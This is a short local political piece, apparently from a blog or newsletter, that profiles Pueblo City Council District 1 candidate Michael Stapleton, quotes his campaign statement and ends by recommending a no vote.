Businessman Michael Stapleton is running for Pueblo City Council District 1, on the North Side, currently held by incumbent Bob Schilling. He is the manager in industrial parts, a world traveled army veteran and is the legislative director for the Libertarian Party of Colorado. And he's a native who graduated from East High School.

Here's what he says about himself and his campaign:

I see the potential that Pueblo holds, it was on top, a hard working community during the Industrial Age, with its steel mill and related industry. I believe it can be again, a hub of entrepreneurship, innovation and thriving market."

I'm not a politician, just a member of the community with concerns about the proper role of government in our community. I believe my business experience in budget and resource management can play a role.

While this candidate seems "hopeful" we haven't seen any down to earth solutions. And we suggest a NO.
